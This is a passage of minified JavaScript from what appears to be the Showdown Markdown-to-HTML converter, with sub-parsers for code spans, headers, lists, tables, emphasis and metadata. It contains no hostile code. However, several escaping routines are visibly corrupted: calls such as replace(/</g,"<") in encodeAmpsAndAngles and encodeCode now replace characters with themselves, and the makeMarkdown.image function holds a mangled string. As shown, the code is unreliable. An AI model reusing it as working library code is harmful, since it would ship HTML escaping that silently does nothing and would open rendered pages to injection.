t=w.subParser("outdent")(t,s,i),t=w.subParser("encodeCode")(t,s,i),t=(t=(t=w.subParser("detab")(t,s,i)).replace(/^\n+/g,"")).replace(/\n+$/g,""),s.omitExtraWLInCodeBlocks&&(o=""),t="<pre><code>"+t+o+"</code></pre>",w.subParser("hashBlock")(t,s,i)+n})).replace(/\xa80/,""),e=i.converter._dispatch("codeBlocks.after",e,s,i)}),w.subParser("codeSpans",function(e,o,s){return void 0===(e=s.converter._dispatch("codeSpans.before",e,o,s))&&(e=""),e=e.replace(/(^|[^\\])(`+)([^\r]*?[^`])\2(?!`)/gm,function(e,r,a,t){var n=t;return n=(n=n.replace(/^([ \t]*)/g,"")).replace(/[ \t]*$/g,""),n=r+"<code>"+(n=w.subParser("encodeCode")(n,o,s))+"</code>",n=w.subParser("hashHTMLSpans")(n,o,s)}),e=s.converter._dispatch("codeSpans.after",e,o,s)}),w.subParser("completeHTMLDocument",function(e,r,a){if(!r.completeHTMLDocument)return e;e=a.converter._dispatch("completeHTMLDocument.before",e,r,a);var t="html",n="<!DOCTYPE HTML>\n",o="",s='<meta charset="utf-8">\n',i="",l="";for(var c in"undefined"!=typeof a.metadata.parsed.doctype&&(n="<!DOCTYPE "+a.metadata.parsed.doctype+">\n","html"!==(t=a.metadata.parsed.doctype.toString().toLowerCase())&&"html5"!==t||(s='<meta charset="utf-8">')),a.metadata.parsed)if(a.metadata.parsed.hasOwnProperty(c))switch(c.toLowerCase()){case"doctype":break;case"title":o="<title>"+a.metadata.parsed.title+"</title>\n";break;case"charset":s="html"===t||"html5"===t?'<meta charset="'+a.metadata.parsed.charset+'">\n':'<meta name="charset" content="'+a.metadata.parsed.charset+'">\n';break;case"language":case"lang":i=' lang="'+a.metadata.parsed[c]+'"',l+='<meta name="'+c+'" content="'+a.metadata.parsed[c]+'">\n';break;default:l+='<meta name="'+c+'" content="'+a.metadata.parsed[c]+'">\n'}return e=n+"<html"+i+">\n<head>\n"+o+s+l+"</head>\n<body>\n"+e.trim()+"\n</body>\n</html>",e=a.converter._dispatch("completeHTMLDocument.after",e,r,a)}),w.subParser("detab",function(e,r,a){return e=(e=(e=(e=(e=(e=a.converter._dispatch("detab.before",e,r,a)).replace(/\t(?=\t)/g," ")).replace(/\t/g,"\xa8A\xa8B")).replace(/\xa8B(.+?)\xa8A/g,function(e,r){for(var a=r,t=4-a.length%4,n=0;n<t;n++)a+=" ";return a})).replace(/\xa8A/g," ")).replace(/\xa8B/g,""),e=a.converter._dispatch("detab.after",e,r,a)}),w.subParser("ellipsis",function(e,r,a){return e=(e=a.converter._dispatch("ellipsis.before",e,r,a)).replace(/\.\.\./g,"\u2026"),e=a.converter._dispatch("ellipsis.after",e,r,a)}),w.subParser("emoji",function(e,r,a){if(!r.emoji)return e;return e=(e=a.converter._dispatch("emoji.before",e,r,a)).replace(/:([\S]+?):/g,function(e,r){return w.helper.emojis.hasOwnProperty(r)?w.helper.emojis[r]:e}),e=a.converter._dispatch("emoji.after",e,r,a)}),w.subParser("encodeAmpsAndAngles",function(e,r,a){return e=(e=(e=(e=(e=a.converter._dispatch("encodeAmpsAndAngles.before",e,r,a)).replace(/&(?!#?[xX]?(?:[0-9a-fA-F]+|\w+);)/g,"&")).replace(/<(?![a-z\/?$!])/gi,"<")).replace(/</g,"<")).replace(/>/g,">"),e=a.converter._dispatch("encodeAmpsAndAngles.after",e,r,a)}),w.subParser("encodeBackslashEscapes",function(e,r,a){return e=(e=(e=a.converter._dispatch("encodeBackslashEscapes.before",e,r,a)).replace(/\\(\\)/g,w.helper.escapeCharactersCallback)).replace(/\\([`*_{}\[\]()>#+.!~=|-])/g,w.helper.escapeCharactersCallback),e=a.converter._dispatch("encodeBackslashEscapes.after",e,r,a)}),w.subParser("encodeCode",function(e,r,a){return e=(e=a.converter._dispatch("encodeCode.before",e,r,a)).replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/([*_{}\[\]\\=~-])/g,w.helper.escapeCharactersCallback),e=a.converter._dispatch("encodeCode.after",e,r,a)}),w.subParser("escapeSpecialCharsWithinTagAttributes",function(e,r,a){return e=(e=(e=a.converter._dispatch("escapeSpecialCharsWithinTagAttributes.before",e,r,a)).replace(/<\/?[a-z\d_:-]+(?:[\s]+[\s\S]+?)?>/gi,function(e){return e.replace(/(.)<\/?code>(?=.)/g,"$1`").replace(/([\\`*_~=|])/g,w.helper.escapeCharactersCallback)})).replace(/<!(--(?:(?:[^>-]|-[^>])(?:[^-]|-[^-])*)--)>/gi,function(e){return e.replace(/([\\`*_~=|])/g,w.helper.escapeCharactersCallback)}),e=a.converter._dispatch("escapeSpecialCharsWithinTagAttributes.after",e,r,a)}),w.subParser("githubCodeBlocks",function(e,o,s){return o.ghCodeBlocks?(e=s.converter._dispatch("githubCodeBlocks.before",e,o,s),e=(e=(e+="\xa80").replace(/(?:^|\n)(?: {0,3})(```+|~~~+)(?: *)([^\s`~]*)\n([\s\S]*?)\n(?: {0,3})\1/g,function(e,r,a,t){var n=o.omitExtraWLInCodeBlocks?"":"\n";return t=w.subParser("encodeCode")(t,o,s),t="<pre><code"+(a?' class="'+a+" language-"+a+'"':"")+">"+(t=(t=(t=w.subParser("detab")(t,o,s)).replace(/^\n+/g,"")).replace(/\n+$/g,""))+n+"</code></pre>",t=w.subParser("hashBlock")(t,o,s),"\n\n\xa8G"+(s.ghCodeBlocks.push({text:e,codeblock:t})-1)+"G\n\n"})).replace(/\xa80/,""),s.converter._dispatch("githubCodeBlocks.after",e,o,s)):e}),w.subParser("hashBlock",function(e,r,a){return e=(e=a.converter._dispatch("hashBlock.before",e,r,a)).replace(/(^\n+|\n+$)/g,""),e="\n\n\xa8K"+(a.gHtmlBlocks.push(e)-1)+"K\n\n",e=a.converter._dispatch("hashBlock.after",e,r,a)}),w.subParser("hashCodeTags",function(e,o,s){e=s.converter._dispatch("hashCodeTags.before",e,o,s);var i=function i(e,r,a,t){var n=a+w.subParser("encodeCode")(r,o,s)+t;return"\xa8C"+(s.gHtmlSpans.push(n)-1)+"C"};return e=w.helper.replaceRecursiveRegExp(e,i,"<code\\b[^>]*>","</code>","gim"),e=s.converter._dispatch("hashCodeTags.after",e,o,s)}),w.subParser("hashElement",function(e,r,t){return function(e,r){var a=r;return a=(a=(a=a.replace(/\n\n/g,"\n")).replace(/^\n/,"")).replace(/\n+$/g,""),a="\n\n\xa8K"+(t.gHtmlBlocks.push(a)-1)+"K\n\n"}}),w.subParser("hashHTMLBlocks",function(e,r,o){e=o.converter._dispatch("hashHTMLBlocks.before",e,r,o);var a=["pre","div","h1","h2","h3","h4","h5","h6","blockquote","table","dl","ol","ul","script","noscript","form","fieldset","iframe","math","style","section","header","footer","nav","article","aside","address","audio","canvas","figure","hgroup","output","video","p"],s=function s(e,r,a,t){var n=e;return-1!==a.search(/\bmarkdown\b/)&&(n=a+o.converter.makeHtml(r)+t),"\n\n\xa8K"+(o.gHtmlBlocks.push(n)-1)+"K\n\n"};r.backslashEscapesHTMLTags&&(e=e.replace(/\\<(\/?[^>]+?)>/g,function(e,r){return"<"+r+">"}));for(var t=0;t<a.length;++t)for(var n,i=new RegExp("^ {0,3}(<"+a[t]+"\\b[^>]*>)","im"),l="<"+a[t]+"\\b[^>]*>",c="</"+a[t]+">";-1!==(n=w.helper.regexIndexOf(e,i));){var u=w.helper.splitAtIndex(e,n),d=w.helper.replaceRecursiveRegExp(u[1],s,l,c,"im");if(d===u[1])break;e=u[0].concat(d)}return e=e.replace(/(\n {0,3}(<(hr)\b([^<>])*?\/?>)[ \t]*(?=\n{2,}))/g,w.subParser("hashElement")(e,r,o)),e=(e=w.helper.replaceRecursiveRegExp(e,function(e){return"\n\n\xa8K"+(o.gHtmlBlocks.push(e)-1)+"K\n\n"},"^ {0,3}\x3c!--","--\x3e","gm")).replace(/(?:\n\n)( {0,3}(?:<([?%])[^\r]*?\2>)[ \t]*(?=\n{2,}))/g,w.subParser("hashElement")(e,r,o)),e=o.converter._dispatch("hashHTMLBlocks.after",e,r,o)}),w.subParser("hashHTMLSpans",function(e,r,a){function t(e){return"\xa8C"+(a.gHtmlSpans.push(e)-1)+"C"}return e=(e=(e=(e=(e=a.converter._dispatch("hashHTMLSpans.before",e,r,a)).replace(/<[^>]+?\/>/gi,function(e){return t(e)})).replace(/<([^>]+?)>[\s\S]*?<\/\1>/g,function(e){return t(e)})).replace(/<([^>]+?)\s[^>]+?>[\s\S]*?<\/\1>/g,function(e){return t(e)})).replace(/<[^>]+?>/gi,function(e){return t(e)}),e=a.converter._dispatch("hashHTMLSpans.after",e,r,a)}),w.subParser("unhashHTMLSpans",function(e,r,a){e=a.converter._dispatch("unhashHTMLSpans.before",e,r,a);for(var t=0;t<a.gHtmlSpans.length;++t){for(var n=a.gHtmlSpans[t],o=0;/\xa8C(\d+)C/.test(n);){var s=RegExp.$1;if(n=n.replace("\xa8C"+s+"C",a.gHtmlSpans[s]),10===o)break;++o}e=e.replace("\xa8C"+t+"C",n)}return e=a.converter._dispatch("unhashHTMLSpans.after",e,r,a)}),w.subParser("hashPreCodeTags",function(e,o,s){e=s.converter._dispatch("hashPreCodeTags.before",e,o,s);var i=function i(e,r,a,t){var n=a+w.subParser("encodeCode")(r,o,s)+t;return"\n\n\xa8G"+(s.ghCodeBlocks.push({text:e,codeblock:n})-1)+"G\n\n"};return e=w.helper.replaceRecursiveRegExp(e,i,"^ {0,3}<pre\\b[^>]*>\\s*<code\\b[^>]*>","^ {0,3}</code>\\s*</pre>","gim"),e=s.converter._dispatch("hashPreCodeTags.after",e,o,s)}),w.subParser("headers",function(e,l,c){e=c.converter._dispatch("headers.before",e,l,c);var u=isNaN(parseInt(l.headerLevelStart))?1:parseInt(l.headerLevelStart),r=l.smoothLivePreview?/^(.+)[ \t]*\n={2,}[ \t]*\n+/gm:/^(.+)[ \t]*\n=+[ \t]*\n+/gm,a=l.smoothLivePreview?/^(.+)[ \t]*\n-{2,}[ \t]*\n+/gm:/^(.+)[ \t]*\n-+[ \t]*\n+/gm;e=(e=e.replace(r,function(e,r){var a=w.subParser("spanGamut")(r,l,c),t=l.noHeaderId?"":' id="'+d(r)+'"',n="<h"+u+t+">"+a+"</h"+u+">";return w.subParser("hashBlock")(n,l,c)})).replace(a,function(e,r){var a=w.subParser("spanGamut")(r,l,c),t=l.noHeaderId?"":' id="'+d(r)+'"',n=u+1,o="<h"+n+t+">"+a+"</h"+n+">";return w.subParser("hashBlock")(o,l,c)});var t=l.requireSpaceBeforeHeadingText?/^(#{1,6})[ \t]+(.+?)[ \t]*#*\n+/gm:/^(#{1,6})[ \t]*(.+?)[ \t]*#*\n+/gm;function d(e){var r,a;if(l.customizedHeaderId){var t=e.match(/\{([^{]+?)}\s*$/);t&&t[1]&&(e=t[1])}return r=e,a=w.helper.isString(l.prefixHeaderId)?l.prefixHeaderId:!0===l.prefixHeaderId?"section-":"",l.rawPrefixHeaderId||(r=a+r),r=l.ghCompatibleHeaderId?r.replace(/ /g,"-").replace(/&/g,"").replace(/\xa8T/g,"").replace(/\xa8D/g,"").replace(/[&+$,\/:;=?@"#{}|^\xa8~\[\]`\\*)(%.!'<>]/g,"").toLowerCase():l.rawHeaderId?r.replace(/ /g,"-").replace(/&/g,"&").replace(/\xa8T/g,"\xa8").replace(/\xa8D/g,"$").replace(/["']/g,"-").toLowerCase():r.replace(/[^\w]/g,"").toLowerCase(),l.rawPrefixHeaderId&&(r=a+r),c.hashLinkCounts[r]?r=r+"-"+c.hashLinkCounts[r]++:c.hashLinkCounts[r]=1,r}return e=e.replace(t,function(e,r,a){var t=a;l.customizedHeaderId&&(t=a.replace(/\s?\{([^{]+?)}\s*$/,""));var n=w.subParser("spanGamut")(t,l,c),o=l.noHeaderId?"":' id="'+d(a)+'"',s=u-1+r.length,i="<h"+s+o+">"+n+"</h"+s+">";return w.subParser("hashBlock")(i,l,c)}),e=c.converter._dispatch("headers.after",e,l,c)}),w.subParser("horizontalRule",function(e,r,a){e=a.converter._dispatch("horizontalRule.before",e,r,a);var t=w.subParser("hashBlock")("<hr />",r,a);return e=(e=(e=e.replace(/^ {0,2}( ?-){3,}[ \t]*$/gm,t)).replace(/^ {0,2}( ?\*){3,}[ \t]*$/gm,t)).replace(/^ {0,2}( ?_){3,}[ \t]*$/gm,t),e=a.converter._dispatch("horizontalRule.after",e,r,a)}),w.subParser("images",function(e,r,p){function l(e,r,a,t,n,o,s,i){var l=p.gUrls,c=p.gTitles,u=p.gDimensions;if(a=a.toLowerCase(),i||(i=""),-1<e.search(/\(<?\s*>? ?(['"].*['"])?\)$/m))t="";else if(""===t||null===t){if(""!==a&&null!==a||(a=r.toLowerCase().replace(/ ?\n/g," ")),t="#"+a,w.helper.isUndefined(l[a]))return e;t=l[a],w.helper.isUndefined(c[a])||(i=c[a]),w.helper.isUndefined(u[a])||(n=u[a].width,o=u[a].height)}r=r.replace(/"/g,""").replace(w.helper.regexes.asteriskDashAndColon,w.helper.escapeCharactersCallback);var d='<img src="'+(t=t.replace(w.helper.regexes.asteriskDashAndColon,w.helper.escapeCharactersCallback))+'" alt="'+r+'"';return i&&w.helper.isString(i)&&(d+=' title="'+(i=i.replace(/"/g,""").replace(w.helper.regexes.asteriskDashAndColon,w.helper.escapeCharactersCallback))+'"'),n&&o&&(d+=' width="'+(n="*"===n?"auto":n)+'"',d+=' height="'+(o="*"===o?"auto":o)+'"'),d+=" />"}return e=(e=(e=(e=(e=(e=p.converter._dispatch("images.before",e,r,p)).replace(/!\[([^\]]*?)] ?(?:\n *)?\[([\s\S]*?)]()()()()()/g,l)).replace(/!\[([^\]]*?)][ \t]*()\([ \t]?<?(data:.+?\/.+?;base64,[A-Za-z0-9+/=\n]+?)>?(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*(?:(["'])([^"]*?)\6)?[ \t]?\)/g,function c(e,r,a,t,n,o,s,i){return l(e,r,a,t=t.replace(/\s/g,""),n,o,0,i)})).replace(/!\[([^\]]*?)][ \t]*()\([ \t]?<([^>]*)>(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*(?:(?:(["'])([^"]*?)\6))?[ \t]?\)/g,l)).replace(/!\[([^\]]*?)][ \t]*()\([ \t]?<?([\S]+?(?:\([\S]*?\)[\S]*?)?)>?(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*(?:(["'])([^"]*?)\6)?[ \t]?\)/g,l)).replace(/!\[([^\[\]]+)]()()()()()/g,l),e=p.converter._dispatch("images.after",e,r,p)}),w.subParser("italicsAndBold",function(e,r,a){function t(e,r,a){return r+e+a}return e=a.converter._dispatch("italicsAndBold.before",e,r,a),e=r.literalMidWordUnderscores?(e=(e=e.replace(/\b___(\S[\s\S]*?)___\b/g,function(e,r){return t(r,"<strong><em>","</em></strong>")})).replace(/\b__(\S[\s\S]*?)__\b/g,function(e,r){return t(r,"<strong>","</strong>")})).replace(/\b_(\S[\s\S]*?)_\b/g,function(e,r){return t(r,"<em>","</em>")}):(e=(e=e.replace(/___(\S[\s\S]*?)___/g,function(e,r){return/\S$/.test(r)?t(r,"<strong><em>","</em></strong>"):e})).replace(/__(\S[\s\S]*?)__/g,function(e,r){return/\S$/.test(r)?t(r,"<strong>","</strong>"):e})).replace(/_([^\s_][\s\S]*?)_/g,function(e,r){return/\S$/.test(r)?t(r,"<em>","</em>"):e}),e=r.literalMidWordAsterisks?(e=(e=e.replace(/([^*]|^)\B\*\*\*(\S[\s\S]*?)\*\*\*\B(?!\*)/g,function(e,r,a){return t(a,r+"<strong><em>","</em></strong>")})).replace(/([^*]|^)\B\*\*(\S[\s\S]*?)\*\*\B(?!\*)/g,function(e,r,a){return t(a,r+"<strong>","</strong>")})).replace(/([^*]|^)\B\*(\S[\s\S]*?)\*\B(?!\*)/g,function(e,r,a){return t(a,r+"<em>","</em>")}):(e=(e=e.replace(/\*\*\*(\S[\s\S]*?)\*\*\*/g,function(e,r){return/\S$/.test(r)?t(r,"<strong><em>","</em></strong>"):e})).replace(/\*\*(\S[\s\S]*?)\*\*/g,function(e,r){return/\S$/.test(r)?t(r,"<strong>","</strong>"):e})).replace(/\*([^\s*][\s\S]*?)\*/g,function(e,r){return/\S$/.test(r)?t(r,"<em>","</em>"):e}),e=a.converter._dispatch("italicsAndBold.after",e,r,a)}),w.subParser("lists",function(e,p,u){function h(e,r){u.gListLevel++,e=e.replace(/\n{2,}$/,"\n");var a=/(\n)?(^ {0,3})([*+-]|\d+[.])[ \t]+((\[(x|X| )?])?[ \t]*[^\r]+?(\n{1,2}))(?=\n*(\xa80| {0,3}([*+-]|\d+[.])[ \t]+))/gm,c=/\n[ \t]*\n(?!\xa80)/.test(e+="\xa80");return p.disableForced4SpacesIndentedSublists&&(a=/(\n)?(^ {0,3})([*+-]|\d+[.])[ \t]+((\[(x|X| )?])?[ \t]*[^\r]+?(\n{1,2}))(?=\n*(\xa80|\2([*+-]|\d+[.])[ \t]+))/gm),e=(e=e.replace(a,function(e,r,a,t,n,o,s){s=s&&""!==s.trim();var i=w.subParser("outdent")(n,p,u),l="";return o&&p.tasklists&&(l=' class="task-list-item" style="list-style-type: none;"',i=i.replace(/^[ \t]*\[(x|X| )?]/m,function(){var e='<input type="checkbox" disabled style="margin: 0px 0.35em 0.25em -1.6em; vertical-align: middle;"';return s&&(e+=" checked"),e+=">"})),i=i.replace(/^([-*+]|\d\.)[ \t]+[\S\n ]*/g,function(e){return"\xa8A"+e}),i="<li"+l+">"+(i=(i=r||-1<i.search(/\n{2,}/)?(i=w.subParser("githubCodeBlocks")(i,p,u),w.subParser("blockGamut")(i,p,u)):(i=(i=w.subParser("lists")(i,p,u)).replace(/\n$/,""),i=(i=w.subParser("hashHTMLBlocks")(i,p,u)).replace(/\n\n+/g,"\n\n"),c?w.subParser("paragraphs")(i,p,u):w.subParser("spanGamut")(i,p,u))).replace("\xa8A",""))+"</li>\n"})).replace(/\xa80/g,""),u.gListLevel--,r&&(e=e.replace(/\s+$/,"")),e}function _(e,r){if("ol"===r){var a=e.match(/^ *(\d+)\./);if(a&&"1"!==a[1])return' start="'+a[1]+'"'}return""}function g(e){return"ul"===e?' style="list-style: disc !important;padding: 0px 0px 0px 40px !important;"':' style="list-style: decimal !important;padding: 0px 0px 0px 40px !important;"'}function n(t,n,o){var s=p.disableForced4SpacesIndentedSublists?/^ ?\d+\.[ \t]/gm:/^ {0,3}\d+\.[ \t]/gm,i=p.disableForced4SpacesIndentedSublists?/^ ?[*+-][ \t]/gm:/^ {0,3}[*+-][ \t]/gm,l="ul"===n?s:i,c="",u=g(n);if(-1!==t.search(l))!function d(e){var r=e.search(l),a=_(t,n);u=g(n),-1!==r?(c+="\n\n<"+n+u+a+">\n"+h(e.slice(0,r),!!o)+"</"+n+">\n",l="ul"===(n="ul"===n?"ol":"ul")?s:i,d(e.slice(r))):c+="\n\n<"+n+u+a+">\n"+h(e,!!o)+"</"+n+">\n"}(t);else{var e=_(t,n);c="\n\n<"+n+u+e+">\n"+h(t,!!o)+"</"+n+">\n"}return c}return e=u.converter._dispatch("lists.before",e,p,u),e+="\xa80",e=(e=u.gListLevel?e.replace(/^(( {0,3}([*+-]|\d+[.])[ \t]+)[^\r]+?(\xa80|\n{2,}(?=\S)(?![ \t]*(?:[*+-]|\d+[.])[ \t]+)))/gm,function(e,r,a){return n(r,-1<a.search(/[*+-]/g)?"ul":"ol",!0)}):e.replace(/(\n\n|^\n?)(( {0,3}([*+-]|\d+[.])[ \t]+)[^\r]+?(\xa80|\n{2,}(?=\S)(?![ \t]*(?:[*+-]|\d+[.])[ \t]+)))/gm,function(e,r,a,t){return n(a,-1<t.search(/[*+-]/g)?"ul":"ol",!1)})).replace(/\xa80/,""),e=u.converter._dispatch("lists.after",e,p,u)}),w.subParser("metadata",function(e,r,t){if(!r.metadata)return e;function n(e){(e=(e=(t.metadata.raw=e).replace(/&/g,"&").replace(/"/g,""")).replace(/\n {4}/g," ")).replace(/^([\S ]+): +([\s\S]+?)$/gm,function(e,r,a){return t.metadata.parsed[r]=a,""})}return e=(e=(e=(e=t.converter._dispatch("metadata.before",e,r,t)).replace(/^\s*\xab\xab\xab+(\S*?)\n([\s\S]+?)\n\xbb\xbb\xbb+\n/,function(e,r,a){return n(a),"\xa8M"})).replace(/^\s*---+(\S*?)\n([\s\S]+?)\n---+\n/,function(e,r,a){return r&&(t.metadata.format=r),n(a),"\xa8M"})).replace(/\xa8M/g,""),e=t.converter._dispatch("metadata.after",e,r,t)}),w.subParser("outdent",function(e,r,a){return e=(e=(e=a.converter._dispatch("outdent.before",e,r,a)).replace(/^(\t|[ ]{1,4})/gm,"\xa80")).replace(/\xa80/g,""),e=a.converter._dispatch("outdent.after",e,r,a)}),w.subParser("paragraphs",function(e,r,a){for(var t=(e=(e=(e=a.converter._dispatch("paragraphs.before",e,r,a)).replace(/^\n+/g,"")).replace(/\n+$/g,"")).split(/\n{2,}/g),n=[],o=t.length,s=0;s<o;s++){var i=t[s];0<=i.search(/\xa8(K|G)(\d+)\1/g)?n.push(i):0<=i.search(/\S/)&&(i=(i=w.subParser("spanGamut")(i,r,a)).replace(/^([ \t]*)/g,"<p>"),i+="</p>",n.push(i))}for(o=n.length,s=0;s<o;s++){for(var l="",c=n[s],u=!1;/\xa8(K|G)(\d+)\1/.test(c);){var d=RegExp.$1,p=RegExp.$2;l=(l="K"===d?a.gHtmlBlocks[p]:u?w.subParser("encodeCode")(a.ghCodeBlocks[p].text,r,a):a.ghCodeBlocks[p].codeblock).replace(/\$/g,"$$$$"),c=c.replace(/(\n\n)?\xa8(K|G)\d+\2(\n\n)?/,l),/^<pre\b[^>]*>\s*<code\b[^>]*>/.test(c)&&(u=!0)}n[s]=c}return e=(e=(e=n.join("\n")).replace(/^\n+/g,"")).replace(/\n+$/g,""),a.converter._dispatch("paragraphs.after",e,r,a)}),w.subParser("runExtension",function(e,r,a,t){if(e.filter)r=e.filter(r,t.converter,a);else if(e.regex){var n=e.regex;n instanceof RegExp||(n=new RegExp(n,"g")),r=r.replace(n,e.replace)}return r}),w.subParser("spanGamut",function(e,r,a){return e=a.converter._dispatch("spanGamut.before",e,r,a),e=w.subParser("codeSpans")(e,r,a),e=w.subParser("escapeSpecialCharsWithinTagAttributes")(e,r,a),e=w.subParser("encodeBackslashEscapes")(e,r,a),e=w.subParser("images")(e,r,a),e=w.subParser("anchors")(e,r,a),e=w.subParser("autoLinks")(e,r,a),e=w.subParser("simplifiedAutoLinks")(e,r,a),e=w.subParser("emoji")(e,r,a),e=w.subParser("underline")(e,r,a),e=w.subParser("italicsAndBold")(e,r,a),e=w.subParser("strikethrough")(e,r,a),e=w.subParser("ellipsis")(e,r,a),e=w.subParser("hashHTMLSpans")(e,r,a),e=w.subParser("encodeAmpsAndAngles")(e,r,a),r.simpleLineBreaks?/\n\n\xa8K/.test(e)||(e=e.replace(/\n+/g,"<br />\n")):e=e.replace(/ +\n/g,"<br />\n"),e=a.converter._dispatch("spanGamut.after",e,r,a)}),w.subParser("strikethrough",function(e,t,n){return t.strikethrough&&(e=(e=n.converter._dispatch("strikethrough.before",e,t,n)).replace(/(?:~){2}([\s\S]+?)(?:~){2}/g,function(e,r){return function a(e){return t.simplifiedAutoLink&&(e=w.subParser("simplifiedAutoLinks")(e,t,n)),"<del>"+e+"</del>"}(r)}),e=n.converter._dispatch("strikethrough.after",e,t,n)),e}),w.subParser("stripLinkDefinitions",function(e,i,l){var c=function c(e,r,a,t,n,o,s){return r=r.toLowerCase(),a.match(/^data:.+?\/.+?;base64,/)?l.gUrls[r]=a.replace(/\s/g,""):l.gUrls[r]=w.subParser("encodeAmpsAndAngles")(a,i,l),o?o+s:(s&&(l.gTitles[r]=s.replace(/"|'/g,""")),i.parseImgDimensions&&t&&n&&(l.gDimensions[r]={width:t,height:n}),"")};return e=(e=(e=(e+="\xa80").replace(/^ {0,3}\[(.+)]:[ \t]*\n?[ \t]*<?(data:.+?\/.+?;base64,[A-Za-z0-9+/=\n]+?)>?(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*\n?[ \t]*(?:(\n*)["|'(](.+?)["|')][ \t]*)?(?:\n\n|(?=\xa80)|(?=\n\[))/gm,c)).replace(/^ {0,3}\[(.+)]:[ \t]*\n?[ \t]*<?([^>\s]+)>?(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*\n?[ \t]*(?:(\n*)["|'(](.+?)["|')][ \t]*)?(?:\n+|(?=\xa80))/gm,c)).replace(/\xa80/,"")}),w.subParser("tables",function(e,f,b){if(!f.tables)return e;function r(e){var r,a=e.split("\n");for(r=0;r<a.length;++r)/^ {0,3}\|/.test(a[r])&&(a[r]=a[r].replace(/^ {0,3}\|/,"")),/\|[ \t]*$/.test(a[r])&&(a[r]=a[r].replace(/\|[ \t]*$/,"")),a[r]=w.subParser("codeSpans")(a[r],f,b);var t,n,o,s,i,l=a[0].split("|").map(function(e){return e.trim()}),c=a[1].split("|").map(function(e){return e.trim()}),u=[],d=[],p=[],h=[];for(a.shift(),a.shift(),r=0;r<a.length;++r)""!==a[r].trim()&&u.push(a[r].split("|").map(function(e){return e.trim()}));if(l.length<c.length)return e;for(r=0;r<c.length;++r)p.push((t=c[r],/^:[ \t]*--*$/.test(t)?' style="text-align:left;"':/^--*[ \t]*:[ \t]*$/.test(t)?' style="text-align:right;"':/^:[ \t]*--*[ \t]*:$/.test(t)?' style="text-align:center;"':""));for(r=0;r<l.length;++r)w.helper.isUndefined(p[r])&&(p[r]=""),d.push((n=l[r],o=p[r],s=void 0,s="",n=n.trim(),(f.tablesHeaderId||f.tableHeaderId)&&(s=' id="'+n.replace(/ /g,"_").toLowerCase()+'"'),"<th"+s+o+">"+(n=w.subParser("spanGamut")(n,f,b))+"</th>\n"));for(r=0;r<u.length;++r){for(var _=[],g=0;g<d.length;++g)w.helper.isUndefined(u[r][g]),_.push((i=u[r][g],"<td"+p[g]+">"+w.subParser("spanGamut")(i,f,b)+"</td>\n"));h.push(_)}return function m(e,r){for(var a="<table>\n<thead>\n<tr>\n",t=e.length,n=0;n<t;++n)a+=e[n];for(a+="</tr>\n</thead>\n<tbody>\n",n=0;n<r.length;++n){a+="<tr>\n";for(var o=0;o<t;++o)a+=r[n][o];a+="</tr>\n"}return a+="</tbody>\n</table>\n"}(d,h)}return e=(e=(e=(e=b.converter._dispatch("tables.before",e,f,b)).replace(/\\(\|)/g,w.helper.escapeCharactersCallback)).replace(/^ {0,3}\|?.+\|.+\n {0,3}\|?[ \t]*:?[ \t]*(?:[-=]){2,}[ \t]*:?[ \t]*\|[ \t]*:?[ \t]*(?:[-=]){2,}[\s\S]+?(?:\n\n|\xa80)/gm,r)).replace(/^ {0,3}\|.+\|[ \t]*\n {0,3}\|[ \t]*:?[ \t]*(?:[-=]){2,}[ \t]*:?[ \t]*\|[ \t]*\n( {0,3}\|.+\|[ \t]*\n)*(?:\n|\xa80)/gm,r),e=b.converter._dispatch("tables.after",e,f,b)}),w.subParser("underline",function(e,r,a){return r.underline?(e=a.converter._dispatch("underline.before",e,r,a),e=(e=r.literalMidWordUnderscores?(e=e.replace(/\b___(\S[\s\S]*?)___\b/g,function(e,r){return"<u>"+r+"</u>"})).replace(/\b__(\S[\s\S]*?)__\b/g,function(e,r){return"<u>"+r+"</u>"}):(e=e.replace(/___(\S[\s\S]*?)___/g,function(e,r){return/\S$/.test(r)?"<u>"+r+"</u>":e})).replace(/__(\S[\s\S]*?)__/g,function(e,r){return/\S$/.test(r)?"<u>"+r+"</u>":e})).replace(/(_)/g,w.helper.escapeCharactersCallback),e=a.converter._dispatch("underline.after",e,r,a)):e}),w.subParser("unescapeSpecialChars",function(e,r,a){return e=(e=a.converter._dispatch("unescapeSpecialChars.before",e,r,a)).replace(/\xa8E(\d+)E/g,function(e,r){var a=parseInt(r);return String.fromCharCode(a)}),e=a.converter._dispatch("unescapeSpecialChars.after",e,r,a)}),w.subParser("makeMarkdown.blockquote",function(e,r){var a="";if(e.hasChildNodes())for(var t=e.childNodes,n=t.length,o=0;o<n;++o){var s=w.subParser("makeMarkdown.node")(t[o],r);""!==s&&(a+=s)}return a="> "+(a=a.trim()).split("\n").join("\n> ")}),w.subParser("makeMarkdown.codeBlock",function(e,r){var a=e.getAttribute("language"),t=e.getAttribute("precodenum");return"```"+a+"\n"+r.preList[t]+"\n```"}),w.subParser("makeMarkdown.codeSpan",function(e){return"`"+e.innerHTML+"`"}),w.subParser("makeMarkdown.emphasis",function(e,r){var a="";if(e.hasChildNodes()){a+="*";for(var t=e.childNodes,n=t.length,o=0;o<n;++o)a+=w.subParser("makeMarkdown.node")(t[o],r);a+="*"}return a}),w.subParser("makeMarkdown.header",function(e,r,a){var t=new Array(a+1).join("#"),n="";if(e.hasChildNodes()){n=t+" ";for(var o=e.childNodes,s=o.length,i=0;i<s;++i)n+=w.subParser("makeMarkdown.node")(o[i],r)}return n}),w.subParser("makeMarkdown.hr",function(){return"---"}),w.subParser("makeMarkdown.image",function(e){var r="";return e.hasAttribute("src")&&(r+="+">",e.hasAttribute("width")&&e.hasAttribute("height")&&(r+=" ="+e.getAttribute("width")+"x"+e.getAttribute("height")),e.hasAttribute("title")&&(r+=' "'+e.getAttribute("title")+'"'),r+=")"),r}),w.subParser("makeMarkdown.links",function(e,r){var a="";if(e.hasChildNodes()&&e.hasAttribute("href")){var t=e.childNodes,n=t.length;a="[";for(var o=0;o<n;++o)a+=w.subParser("makeMarkdown.node")(t[o],r);a+="](",a+="<"+e.getAttribute("href")+">",e.hasAttribute("title")&&(a+=' 